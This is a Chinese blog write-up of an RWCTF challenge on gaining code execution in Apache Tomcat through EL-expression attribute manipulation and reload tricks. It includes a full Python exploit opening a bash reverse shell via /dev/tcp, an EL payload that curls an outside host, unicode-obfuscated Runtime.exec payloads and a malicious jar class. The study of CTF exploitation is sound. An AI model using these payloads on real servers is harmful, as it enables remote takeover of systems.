Tomcat 文件重新自动加载导致RCE

date
Jun 11, 2022
slug
tomcat-resource-rce
status
Published
tags
Java安全
安全研究
summary
来自RWCTF的一个题目,学习了
type
Post
来自RWCTF的一个题目,环境弄下来之后查看关键部分的源码

题目分析

1.目录名称可控
2.文件后缀可控,使用了indexOf去判断
3.写入的内容是经过了一定的过滤和混淆,一些符号会经过转义,也就是说部分可控
notion image
notion image
 
从这篇参考文章里面又了解到两个trick,就是在Tomcat环境下解析jsp
  1. 可以直接一股脑直接编码成unicode编码,然后执行,通常可以用来绕过一些关键字的检测,比如圆括号:
    1. <% \u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0022\u0063\u0061\u006c\u0063\u0022\u0029\u003b %>
      notion image
  1. 如果不能够出现<,%,>这些符号的话,可以选择使用EL表达式进行绕过,因为EL表达式是另外的一套处理方式,但是这个就不能把圆括号给绕过
    1. ${Runtime.getRuntime().exec("curl abc.oe90.fuzz.red")}
但是当上面两个条件同时出现,就有了这个题目,在不使用圆括号的情况下,通过 EL 表达式的取值、赋值特性,获取到某些关键的 Tomcat 对象实例,修改它们的属性,造成危险的影响;
 

题目解法

方法一
使用Session 文件存储路径 这个知识点我也是第一次学的
notion image
主要还是涉及下面这几个EL表达式里面的上下文属性:
修改 Session 文件的存储路径:
${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
往seesion里面写入数据:
${sessionScope[param.b]=param.c}
再往这个页面上传入相关参数:?a=/opt/tomcat/webapps/ROOT/session.jsp&b=voidfyoo&c=%3C%25out.println(123)%3B%25%3E
但是这个文件只有Tomcat挂了的时候才会触发文件生成的效果,一旦重新启动就会删除掉这个文件并恢复session
notion image
notion image
所以作者在官方文档里面找到了另外的触发方法,除了服务停止或者重启,还可以让部署的程序触发 reload 来做到
notion image
同样的需要通过EL表达式修改对应属性:
${pageContext.servletContext.classLoader.resources.context.reloadable=true}
/WEB-INF/classes/或者/WEB-INF/lib/目录下的文件发生变化具体指的是满足以下任意一项:
/WEB-INF/classes/下已加载过的 class 文件内容发生了修改;
/WEB-INF/lib/下已加载过的 jar 文件内容发生了修改,或者写入了新的 jar 文件。
但是到这一步问题还没有解决,因为这个写入新的jar包格式是错误的,因为内容里面添加了杂七杂八的东西,所以reload之后会导致部署的这整个应用直接 404 无法访问,因为这个题目的对应的场景内容是放在ROOT项目里面的,并不存在其他的Context,所以会出现这个问题
作者在对应这题的解决方案是就是修改appBase目录(默认在webapps),直接改为根目录,整个系统盘文件都会映射在Tomcat上了
notion image
此时就相当于存在多个Context,然后就可以将内容写入到根目录下任意一个文件,然后进行访问就可以,但是改变了之后仍然可以按照之前的路径访问之前的内容,所以这个特性还是很特别的
⚠️ 作者的payload是直接反弹的shell,如果修改为out.write这样的内容就会容易导致一些问题,返回500,并不会执行相关的jsp代码,估计是乱码的问题,以后测试的时候返回500,还是要执行一下反弹shell看看
import sys
import time
import requests

if __name__ == '__main__':
    # target_url = sys.argv[1] # e.g. http://47.243.235.228:39465/
    reverse_shell_host = "10.28.200.206"
    reverse_shell_port = str(6666)
    target_url = "http://localhost:18081/"

    el_payload = r"""${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
                     ${sessionScope[param.b]=param.c}
                     ${pageContext.servletContext.classLoader.resources.context.reloadable=true}
                     ${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}"""
    reverse_shell_jsp_payload = r"""<%Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "sh -i >& /dev/tcp/""" + reverse_shell_host + "/" + reverse_shell_port + r""" 0>&1"});%>"""
    # test_shell = r'''<%out.write("4me")%>
    #             <%Runtime.getRuntime().exec("/bin/bash -c {echo,dG91Y2ggL3RtcC9hYS50eHQ=}|{base64,-d}|{bash,-i}");%>
    # '''
    r = requests.post(url=f'{target_url}/export',
        data={
        'dir': '',
        'filename': 'a.jsp',
        'content': el_payload,
    })
    shell_path = r.text.strip().split('/')[-1]
    shell_url = f'{target_url}/export/{shell_path}'
    r2 = requests.post(url=shell_url,
    data={
        'a': '/tmp/session.jsp',
        'b': 'test',
        'c': reverse_shell_jsp_payload, #test_shell,
        'd': '/',
    }
       )
    r3 = requests.post(url=f'{target_url}/export',
    data={
    'dir': './WEB-INF/lib/',
    'filename': 'a.jar',
    'content': 'a',
    })
    time.sleep(10) # wait a while
    r4 = requests.get(url=f'{target_url}/tmp/session.jsp')
    print(r4.content)
方法二:
直接生成恶意的jar包放入lib目录中,然后reload
这要怎么生成一种前后加入混淆字符还能继续解压的jar包,这个点没搞出来,惨惨~
后来都是把构造的jar直接拖进去进行复现测试后面看到清哥的文章学到了怎么去构造这个jar包了
有两个方法触发jar包里面的内容:
第一种是构造恶意类,然后通过EL表达式加载org.apache.jasper.compiler.StringInterpreter 去触发
简单总结一下,就是StringInterpreter这是个接口,在jsp的编译过程中,在 org/apache/jasper/compiler/Generator.java 中会执⾏ getStringInterprete,这其中会获取org.apache.jasper.compiler.StringInterpreter 里面的内容进行createInstance ,也就是类的初始化操作
所以我们需要EL表达式将上下文里面key值为org.apache.jasper.compiler.StringInterpreter 内容进行修改,然后怎么让jsp重新编译,就是WatchResource机制触发了
创建一个jsp页面里面的EL表达式如下:
${applicationScope[param.a]=param.b}
 
构建一个恶意类并打包,类的地址为Pwn
public class Pwn implements StringInterpreter {
    static {
        try{
            Runtime.getRuntime().exec("open -a calculator.app");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public Pwn(){
        try{
            Runtime.getRuntime().exec("open -a calculator.app");
        }catch (Exception e){
            e.printStackTrace();
        }

    }


    @Override
    public String convertString(Class<?> aClass, String s, String s1, Class<?> aClass1, boolean b) {
        return null;
    }
}
访问恶意jsp页面并传入参数,对应的类名要写准确
http://localhost:18081/a.jsp?a=org.apache.jasper.compiler.StringInterpreter&b=Pwn
然后在通过WatchResource机制触发
在 Tomcat 9 环境下,默认的 WatchedResource 包括:
WEB-INF/web.xml WEB-INF/tomcat-web.xml ${CATALINA_HOME}/conf/web.xml
由于这个题目写文件会将文件名字随机化,所以可以通过建立一个WEB-INF/tomcat-web.xml/ 目录,也可以让应用强行触发 reload,加载进先前写入的 Jar 包
这个操作好像只能触发一次(服了,可能需要更换类名和包名),并不是持久化的好手段
注意!!!
在触发之后还需要新建一个jsp页面去触发jsp解析的过程,触发StringInterpreterFactory.getStringInterpreter 自己在调试的过程里面很容易会出现ClassNotFound的异常,所以WatchResource的reload就显得很重要 只成功触发了一次(还是整了老半天,不好用)。。。
 
第二种则是使用将恶意jsp脚本放在jar包下的META-INF/resources/ ,触发WatchResource机制之后,会自动加载jar里面的内容,最后直接访问页面就行
notion image

构造前后加入混淆字符的恶意Jar包

在里面提及到如何构建ASCII jar包,这才是做研究的思路
写得很详细了,不多说了,直接上脚本:
但是针对这个题目还需要使用P牛的paddingzip的那个脚本做一个校验,而且得保证zip包最后不能以不可见字符结束,因为代码里面存在trim的操作。
这里面又涉及到zip包经过前后加上一些字符,是否可以被处理的问题:
zip文件(包括所有zip格式的文件,如jar包)在前面有脏字符的时候,仍然可以被某些ZIP相关的实现所解析。
比如:
  • unzip命令解压时会忽略前置脏字符
  • Java解析Zip包会忽略前置脏字符
  • Python解析Zip包会忽略前置脏字符
比如我们编写一个简单的jar包,然后在前面增加10个脏字符a,此时,我们使用unzip对这个jar包进行解压,会发现爆出来了warning,但解压仍然可以成功
notion image
Java中也会有同样的逻辑,比如我们可以使用下面这段代码来读取jar包中的MANIFEST.MF文件:
package org.example;
import org.apache.commons.io.IOUtils;
import java.net.URL;

public class ZipURL {
	public static void main(String[] args) throws Exception {
	URL url = new URL("jar:file:///D:/pro/playground/helloworld/sample.jar!/META-INF/MANIFEST.MF");
	byte[] bs = IOUtils.toByteArray(url);
	System.out.println(new String(bs));
	}
}
执行这段代码,读取MANIFEST.MF成功
Python下我们使用python3 -m zipfile -l sample.jar也可以成功解析这个文件
但是在这些情况下,不可以处理,需要把他的一些偏移量给弄过来
  • Java -jar执行这个带脏字符的jar包时会失败
  • PHP无法解析
  • 7zip无法解析
用到了这个工具,这个“合法”的zip文件就可以使用java -jar来执行了,同样,使用PHP、7z等也可以正确解析了,实际上这就是zip文件的一个feature。
 
 
 
后面看到huahua整出了weblogic下的jar,跟Tomcat类似的效果,学习了,但是比Tomcat的构造略微麻烦了点,还需要对class文件进行修改

© 4me 2021 - 2024